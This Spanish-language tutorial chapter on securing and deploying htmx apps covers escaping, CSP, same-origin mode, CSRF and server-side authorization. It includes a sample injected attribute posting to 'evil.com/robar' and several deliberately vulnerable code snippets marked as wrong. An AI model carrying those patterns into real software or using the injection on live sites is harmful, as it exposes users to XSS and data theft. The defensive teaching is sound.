Seguridad y producción

Por: Artiko
htmxhtmx4seguridadcspxssproduccion

Seguridad y producción

htmx mueve el renderizado al servidor, lo que elimina categorías enteras de problemas de una SPA (estado duplicado, tokens en localStorage, lógica de negocio en el bundle). A cambio, concentra la responsabilidad en un punto: todo lo que devuelves es HTML que el navegador va a ejecutar.

La regla número uno: escapar

flowchart LR
    A[Dato de usuario] --> B{¿Se escapó?}
    B -->|No| C["&lt;script&gt; ejecutado<br/>XSS"]
    B -->|Sí| D["Texto inofensivo"]
const escapar = (s) =>
  String(s ?? "").replace(/[&<>"']/g, (c) => ({
    "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;",
  }[c]));

// ❌ Vulnerable
return html(`<li>${tarea.titulo}</li>`);

// ✅ Correcto
return html(`<li>${escapar(tarea.titulo)}</li>`);

Si usas un motor de plantillas real (Nunjucks, Jinja, Blade, ERB, templ, Go templates), el escapado es automático y no debes desactivarlo con |safe, {{{ }}} o raw salvo que el contenido sea tuyo y esté sanitizado.

Atención especial a los atributos

Interpolar dentro de un atributo tiene trampas adicionales:

// ❌ Comillas rotas → inyección de atributos
`<button hx-confirm="¿Eliminar ${titulo}?">`

// ✅ Escapado que incluye comillas
`<button hx-confirm="¿Eliminar ${escapar(titulo)}?">`

Y nunca construyas atributos hx-* con datos de usuario:

// ❌ Un usuario podría controlar la URL de la petición
`<button hx-get="${urlDelUsuario}">`

textContent como red de seguridad

Cuando muestres contenido de usuario que no necesita marcado, el swap textContent no parsea HTML:

<span hx-get="/nombre" hx-swap="textContent"></span>

hx-ignore: zonas sin htmx

Si insertas HTML de terceros (comentarios, contenido de un CMS, un iframe de marketing), evita que htmx procese atributos que puedan venir dentro:

<div hx-ignore>
  <!-- Contenido no confiable: htmx no procesa nada aquí dentro -->
  {{ contenidoExterno }}
</div>

Recuerda: en htmx 2 esto se llamaba hx-disable. En htmx 4, hx-disable significa otra cosa.

Content Security Policy

Una CSP estricta es la segunda línea de defensa contra XSS. El problema es que varias comodidades de htmx dependen de evaluación dinámica:

FuncionalidadRequiere
hx-on:<evento>unsafe-inline en script-src
hx-vals='js:…'unsafe-eval
Filtros hx-trigger="[expr]"unsafe-eval
Expresiones de hx-liveunsafe-eval

Opción 1: CSP estricta sin esas funcionalidades

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self';
  connect-src 'self';

Todo el core de htmx (verbos, triggers sin filtros, targets, swaps, partials, herencia) funciona perfectamente bajo esta política. Lo que pierdes son los hx-on y las expresiones. La alternativa es JavaScript en archivos externos:

// app.js
htmx.on("htmx:after:request", (e) => {
  if (e.target.matches("form.reset-al-enviar") && e.detail.ctx.response.status < 400) {
    e.target.reset();
  }
});

Opción 2: nonces

<meta name="htmx-config" content='inlineScriptNonce:"abc123"'>
Content-Security-Policy: script-src 'self' 'nonce-abc123'

El nonce debe generarse por respuesta, no ser constante.

Opción 3: la extensión hx-csp

Diseñada para operar bajo CSP estricta. Es la vía recomendada si necesitas conservar los hx-on.

mode: same-origin

Restringe htmx a hacer peticiones únicamente al mismo origen:

<meta name="htmx-config" content='mode:"same-origin"'>

Con esto, aunque un atacante logre inyectar hx-post="https://evil.com/robar", la petición no sale. Es una mitigación barata que deberías activar en toda aplicación que no consuma APIs externas desde htmx. Reemplaza a selfRequestsOnly de htmx 2.

Allowlist de extensiones

<meta name="htmx-config" content='extensions:"hx-sse, hx-preload"'>

Sólo esas extensiones podrán registrarse. Un script inyectado no puede activar una extensión que intercepte todas tus peticiones.

CSRF

htmx envía las cookies como cualquier petición del navegador, así que aplica la protección CSRF habitual. El patrón limpio es un header heredado en el layout:

<body hx-headers:inherited='{"X-CSRF-Token": "{{ csrfToken }}"}'>

En el servidor, valida ese header en todo método que no sea GET. Complementa con SameSite=Lax o Strict en la cookie de sesión.

Si un botón necesita añadir headers sin perder el token heredado:

<button hx-post="/api" hx-headers:append='{"X-Request-ID": "abc"}'>Enviar</button>

Autorización: en el servidor, siempre

El error conceptual más común al pasar de SPA a htmx es asumir que “si no muestro el botón, nadie puede hacer la acción”. Ocultar un botón es UX, no seguridad:

// ❌ La comprobación está sólo en la vista
if (usuario.esAdmin) {
  html += `<button hx-delete="/usuarios/${id}">Eliminar</button>`;
}

// ✅ Y también en el endpoint
if (pathname.match(/^\/usuarios\/\d+$/) && metodo === "DELETE") {
  if (!usuario?.esAdmin) return new Response("Prohibido", { status: 403 });

}

Cada endpoint que devuelve un fragmento es una URL pública: cualquiera puede pedirla directamente con curl. Los fragmentos también necesitan control de acceso.

Cabeceras de respuesta recomendadas

const cabecerasSeguras = {
  "Content-Type": "text/html; charset=utf-8",
  "X-Content-Type-Options": "nosniff",
  "Referrer-Policy": "strict-origin-when-cross-origin",
  "X-Frame-Options": "DENY",
};

nosniff importa especialmente en htmx: impide que el navegador reinterprete una respuesta como otro tipo de contenido.

Rendimiento

Tamaño y caché

htmx pesa unos 14 kB minificado y comprimido. Sírvelo desde tu dominio con caché agresiva:

Cache-Control: public, max-age=31536000, immutable

Con la versión en la ruta (/js/htmx-4.0.0-beta6.min.js) puedes cachear para siempre.

Comprimir el HTML

Los fragmentos HTML comprimen extraordinariamente bien porque son repetitivos. Activa Brotli o gzip: un fragmento de 8 kB suele quedar en menos de 1 kB.

Devolver lo mínimo

// ❌ Devuelve la página entera para actualizar una fila
return html(paginaCompleta(datos));

// ✅ Devuelve la fila
return html(fila(dato));

Cuándo devolver de más

La excepción: con innerMorph, devolver una sección completa puede ser más simple y casi igual de barato, porque el morphing sólo toca lo que cambió. Prefiere eso antes que quince <hx-partial> distintos.

Consultas N+1

El riesgo se traslada al servidor. Si tu fragmento de lista hace una consulta por elemento, lo vas a notar. Es el mismo problema de siempre, con las mismas soluciones: cargar en lote.

Evitar cascadas de hx-trigger="load"

<!-- ❌ Cada panel espera al anterior si comparten un pool de conexiones limitado -->
<div hx-get="/p1" hx-trigger="load"></div>
<div hx-get="/p2" hx-trigger="load"></div>
<div hx-get="/p3" hx-trigger="load"></div>

Si son muchos, considera hx-multipart (una petición, varias partes) o consolidar en un endpoint que devuelva varios <hx-partial>.

Accesibilidad

htmx actualiza el DOM sin recargar la página, así que los lectores de pantalla necesitan pistas:

<!-- Anunciar cambios dinámicos -->
<div id="avisos" aria-live="polite" aria-atomic="true"></div>

<!-- Estado de carga -->
<form :aria-busy="matches('.htmx-request')" hx-post="/guardar">

<!-- Botones con propósito claro -->
<button hx-delete="/tareas/5" aria-label="Eliminar la tarea Comprar café">×</button>

Y respeta las preferencias de movimiento:

@media (prefers-reduced-motion: reduce) {
  *, .htmx-swapping, .htmx-added {
    transition: none !important;
    animation: none !important;
  }
}

Un punto a favor de htmx: como el HTML se genera en el servidor y los enlaces son enlaces reales, la navegación con teclado y el HTML semántico funcionan por defecto.

SEO

Con hx-boost, los enlaces son <a href> reales y las URLs sirven documentos completos: los buscadores indexan sin ninguna configuración. Requisitos:

  • Cada URL debe responder un documento completo a una petición sin HX-Request.
  • Los <title> y las meta tags deben venir en esa respuesta completa.
  • No escondas navegación detrás de <button hx-get>: usa <a href> boosteado.

Errores y observabilidad

htmx.on("htmx:error", (e) => {
  navigator.sendBeacon("/telemetria", JSON.stringify({
    tipo: "htmx:error",
    url: location.pathname,
    detalle: String(e.detail?.error ?? ""),
  }));
});

htmx.on("htmx:response:error", (e) => {
  navigator.sendBeacon("/telemetria", JSON.stringify({
    tipo: "http",
    status: e.detail.ctx.response.status,
    url: location.pathname,
  }));
});

Del lado del servidor, el header HX-Source te dice exactamente qué elemento originó cada petición, lo que hace los logs mucho más útiles que un simple POST /tareas.

Checklist de producción

Seguridad

  • Todo dato de usuario va escapado, también dentro de atributos
  • Ningún atributo hx-* se construye con datos de usuario
  • hx-ignore en zonas con contenido de terceros
  • CSP configurada (estricta, con nonce o con hx-csp)
  • mode:"same-origin" activado
  • Allowlist de extensiones declarada
  • Token CSRF heredado en el layout y validado en el servidor
  • Autorización verificada en cada endpoint de fragmento
  • Cabeceras nosniff, Referrer-Policy, X-Frame-Options

Rendimiento

  • htmx servido desde el propio dominio con caché inmutable
  • Compresión Brotli o gzip activada
  • Los endpoints devuelven fragmentos, no páginas
  • Sin consultas N+1 en los fragmentos de lista
  • Timeouts ajustados para las operaciones largas

Funcionamiento

  • Cada URL responde un documento completo sin HX-Request
  • El botón “atrás” funciona en todas las rutas
  • Los errores 4xx/5xx devuelven fragmentos propios, no la página del framework
  • Todas las acciones lentas tienen indicador
  • Los envíos usan hx-disable

Accesibilidad

  • Zonas dinámicas con aria-live
  • Botones de icono con aria-label
  • prefers-reduced-motion respetado
  • Navegación con <a href> reales, boosteados

De 0 a hero: qué aprendiste

flowchart TD
    A["Cualquier elemento<br/>hace peticiones"] --> B["Triggers, targets y swaps<br/>el triángulo de htmx"]
    B --> C["Herencia explícita<br/>y HCON"]
    C --> D["Partials y morphing<br/>varias zonas, sin destruir estado"]
    D --> E["Eventos, hx-status y UX<br/>interfaces que se sienten rápidas"]
    E --> F["Streaming y extensiones<br/>tiempo real sin framework"]
    F --> G["Aplicación completa<br/>sin build, sin JSON, sin estado duplicado"]

El principio que atraviesa todo: el servidor devuelve HTML, el navegador lo muestra. Cuando una funcionalidad se vuelve difícil en htmx, la pregunta correcta casi nunca es “¿qué atributo me falta?” sino “¿qué fragmento debería devolver el servidor?”.

Recursos

  • Documentación oficial de htmx 4: four.htmx.org
  • Ensayo “The fetch()ening”: htmx.org/essays/the-fetchening/
  • Repositorio: github.com/bigskysoftware/htmx
  • El libro Hypermedia Systems (gratuito en línea): la teoría detrás de todo esto

Resumen

  • Escapar todo dato de usuario es la responsabilidad número uno; textContent es la red de seguridad.
  • hx-ignore aísla contenido no confiable (era hx-disable en htmx 2).
  • El core de htmx funciona bajo CSP estricta; hx-on y las expresiones necesitan nonce o hx-csp.
  • mode:"same-origin" y el allowlist de extensiones son mitigaciones baratas.
  • La autorización va en cada endpoint: ocultar un botón no protege nada.
  • Devolver fragmentos mínimos, comprimidos y cacheados es la mitad del rendimiento; la otra mitad son las consultas del servidor.
  • Con aria-live, aria-label y prefers-reduced-motion, una app htmx es accesible por defecto.

Vuelve al índice del curso.